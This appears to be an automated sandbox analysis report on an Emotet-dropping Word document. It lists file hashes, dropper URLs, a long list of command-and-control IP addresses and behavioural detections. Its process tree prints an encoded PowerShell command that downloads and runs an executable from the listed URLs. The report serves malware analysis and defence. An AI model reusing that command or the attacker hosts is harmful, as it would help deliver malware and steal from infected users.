Analysis
- max time kernel
150s - max time network
141s - platform
windows10_x64 - resource
win10v200722 - submitted
23/07/2020, 07:09
Static task
static1
Behavioral task
behavioral1
Sample
HU2478455136KH.doc
Resource
win7v200722
General
- Target HU2478455136KH.doc
- Size 173KB
- Sample200723-4qs7qeazax
- SHA256 5cdc96bec1f2d169457b067fe393ac32ee1b41e4243d3cb7b59d20d95cd5f22e
- MD5 88c1115fad60b6630feb28f78fb8acca
- SHA1 277c2f15c8445e4f30b7d690c95cbb5ff61d0eef
- SHA512 41306b59b14ae1b8cbc9c6714d613b3333c33aae4019e5559ef5e9d36b8146cc693af4db7f79eec68512c30c623301acd8b7f4ee4dc155a179996e55f655b885
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
https://haoqunkong.com/bn/s9w4tgcjl_f6669ugu_w4bj/
-
exe.dropper
https://www.techtravel.events/informationl/8lsjhrl6nnkwgyzsudzam_h3wng_a6v5/
-
exe.dropper
http://digiwebmarketing.com/wp-admin/72t0jjhmv7takwvisfnz_eejvf_h6v2ix/
-
exe.dropper
http://holfve.se/images/1ckw5mj49w_2k11px_d/
-
exe.dropper
http://www.cfm.nl/_backup/yfhrmh6u0heidnwruwha2t4mjz6p_yxhyu390i6_q93hkh3ddm/
Extracted
-
emotet
-
94.49.254.194:80
-
212.51.142.238:8080
-
91.231.166.124:8080
-
162.241.92.219:8080
-
79.98.24.39:8080
-
109.117.53.230:443
-
78.189.165.52:8080
-
113.160.130.116:8443
-
121.124.124.40:7080
-
101.187.97.173:80
-
168.235.67.138:7080
-
104.131.44.150:8080
-
5.39.91.110:7080
-
139.59.60.244:8080
-
81.2.235.111:8080
-
116.203.32.252:8080
-
61.19.246.238:443
-
176.111.60.55:8080
-
190.55.181.54:443
-
108.48.41.69:80
-
203.153.216.189:7080
-
103.86.49.11:8080
-
104.236.246.93:8080
-
75.139.38.211:80
-
169.239.182.217:8080
-
62.75.141.82:80
-
93.156.165.186:80
-
73.11.153.178:8080
-
157.245.99.39:8080
-
41.60.200.34:80
-
50.116.86.205:8080
-
31.31.77.83:443
-
209.182.216.177:443
-
62.138.26.28:8080
-
95.213.236.64:8080
-
95.179.229.244:8080
-
209.141.54.221:8080
-
91.211.88.52:7080
-
173.91.22.41:80
-
222.214.218.37:4143
-
37.187.72.193:8080
-
137.59.187.107:8080
-
139.130.242.43:80
-
46.105.131.87:80
-
87.106.139.101:8080
-
200.55.243.138:8080
-
5.196.74.210:8080
-
79.7.158.208:80
-
185.94.252.104:443
-
104.131.11.150:443
-
37.139.21.175:8080
-
190.108.228.62:443
-
24.1.189.87:8080
-
91.205.215.66:443
-
186.208.123.210:443
-
108.26.231.214:80
-
201.173.217.124:443
-
110.145.77.103:80
-
190.160.53.126:80
-
162.154.38.103:80
-
78.24.219.147:8080
-
210.165.156.91:80
-
109.74.5.95:8080
-
95.9.185.228:443
-
93.51.50.171:8080
-
200.41.121.90:80
-
46.105.131.79:8080
-
124.45.106.173:443
-
74.208.45.104:8080
-
153.126.210.205:7080
-
87.106.136.232:8080
-
190.144.18.198:80
Signatures
- Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\UserMgrProxy\KBDINBE1.exe 337.exe - Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 3480 WINWORD.EXE 3480 WINWORD.EXE 3480 WINWORD.EXE 3480 WINWORD.EXE 3480 WINWORD.EXE 3480 WINWORD.EXE 3480 WINWORD.EXE 3480 WINWORD.EXE 3480 WINWORD.EXE 3480 WINWORD.EXE 1752 337.exe 1752 337.exe 3712 KBDINBE1.exe 3712 KBDINBE1.exe - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3480 WINWORD.EXE 3480 WINWORD.EXE - Blacklisted process makes network request 4 IoCs
flow pid Process 12 3300 powersheLL.exe 14 3300 powersheLL.exe 16 3300 powersheLL.exe 18 3300 powersheLL.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1752 wrote to memory of 3712 1752 337.exe 74 PID 1752 wrote to memory of 3712 1752 337.exe 74 PID 1752 wrote to memory of 3712 1752 337.exe 74 - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3300 powersheLL.exe - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 3300 powersheLL.exe 3300 powersheLL.exe 3300 powersheLL.exe 3712 KBDINBE1.exe 3712 KBDINBE1.exe 3712 KBDINBE1.exe 3712 KBDINBE1.exe 3712 KBDINBE1.exe 3712 KBDINBE1.exe - Suspicious behavior: EmotetMutantsSpam 1 IoCs
pid Process 3712 KBDINBE1.exe - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3300 904 powersheLL.exe 66 - Executes dropped EXE 2 IoCs
pid Process 1752 337.exe 3712 KBDINBE1.exe - Emotet Payload 2 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/1752-7-0x0000000002280000-0x000000000228C000-memory.dmp emotet behavioral2/memory/3712-10-0x0000000002330000-0x000000000233C000-memory.dmp emotet - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\HU2478455136KH.doc" /o ""1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
- Checks processor information in registry
PID:3480
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABsAGkAZQBjAGgAcgBvAHUAaAB3AHUAdwA9ACcAdgB1AGEAYwBkAG8AdQB2AGMAaQBvAHgAaABhAG8AbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAHUAUgBpAFQAeQBgAFAAUgBPAGAAVABvAEMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABkAGUAaQBjAGgAYgBlAHUAZAByAGUAaQByACAAPQAgACcAMwAzADcAJwA7ACQAcQB1AG8AYQBkAGcAbwBpAGoAdgBlAHUAbQA9ACcAZAB1AHUAdgBtAG8AZQB6AGgAYQBpAHQAZwBvAGgAJwA7ACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGQAZQBpAGMAaABiAGUAdQBkAHIAZQBpAHIAKwAnAC4AZQB4AGUAJwA7ACQAcwBpAGUAbgB0AGUAZQBkAD0AJwBxAHUAYQBpAG4AcQB1AGEAYwBoAGwAbwBhAHoAJwA7ACQAcgBlAHUAcwB0AGgAbwBhAHMAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AdwBlAEIAYwBsAEkAZQBuAFQAOwAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQA9ACcAaAB0AHQAcABzADoALwAvAGgAYQBvAHEAdQBuAGsAbwBuAGcALgBjAG8AbQAvAGIAbgAvAHMAOQB3ADQAdABnAGMAagBsAF8AZgA2ADYANgA5AHUAZwB1AF8AdwA0AGIAagAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AdABlAGMAaAB0AHIAYQB2AGUAbAAuAGUAdgBlAG4AdABzAC8AaQBuAGYAbwByAG0AYQB0AGkAbwBuAGwALwA4AGwAcwBqAGgAcgBsADYAbgBuAGsAdwBnAHkAegBzAHUAZAB6AGEAbQBfAGgAMwB3AG4AZwBfAGEANgB2ADUALwAqAGgAdAB0AHAAOgAvAC8AZABpAGcAaQB3AGUAYgBtAGEAcgBrAGUAdABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANwAyAHQAMABqAGoAaABtAHYANwB0AGEAawB3AHYAaQBzAGYAbgB6AF8AZQBlAGoAdgBmAF8AaAA2AHYAMgBpAHgALwAqAGgAdAB0AHAAOgAvAC8AaABvAGwAZgB2AGUALgBzAGUALwBpAG0AYQBnAGUAcwAvADEAYwBrAHcANQBtAGoANAA5AHcAXwAyAGsAMQAxAHAAeABfAGQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBjAGYAbQAuAG4AbAAvAF8AYgBhAGMAawB1AHAALwB5AGYAaAByAG0AaAA2AHUAMABoAGUAaQBkAG4AdwByAHUAdwBoAGEAMgB0ADQAbQBqAHoANgBwAF8AeQB4AGgAeQB1ADMAOQAwAGkANgBfAHEAOQAzAGgAawBoADMAZABkAG0ALwAnAC4AIgBzAGAAUABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAHMAZQBjAGMAaQBlAHIAZABlAGUAdABoAD0AJwBkAHUAdQB6AHkAZQBhAHcAcAB1AGEAcQB1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABnAGUAZQByAHMAaQBlAGIAIABpAG4AIAAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQApAHsAdAByAHkAewAkAHIAZQB1AHMAdABoAG8AYQBzAC4AIgBkAE8AVwBOAGAAbABvAEEAYABkAGYAaQBgAEwAZQAiACgAJABnAGUAZQByAHMAaQBlAGIALAAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAYgB1AGgAeABlAHUAaAA9ACcAZABvAGUAeQBkAGUAaQBkAHEAdQBhAGkAagBsAGUAdQBjACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQAuACIAbABgAGUATgBHAFQASAAiACAALQBnAGUAIAAyADQANwA1ADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQBUAGUAIgAoACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAcQB1AG8AbwBkAHQAZQBlAGgAPQAnAGoAaQBhAGYAcgB1AHUAegBsAGEAbwBsAHQAaABvAGkAYwAnADsAYgByAGUAYQBrADsAJABjAGgAaQBnAGMAaABpAGUAbgB0AGUAaQBxAHUAPQAnAHkAbwBvAHcAdgBlAGkAaABuAGkAZQBqACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHQAbwBpAHoAbAB1AHUAbABmAGkAZQByAD0AJwBmAG8AcQB1AGwAZQB2AGMAYQBvAGoAJwA=1⤵
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
PID:3300
-
C:\Users\Admin\337.exeC:\Users\Admin\337.exe1⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:1752 -
C:\Windows\SysWOW64\UserMgrProxy\KBDINBE1.exe"C:\Windows\SysWOW64\UserMgrProxy\KBDINBE1.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: EmotetMutantsSpam
- Executes dropped EXE
PID:3712
-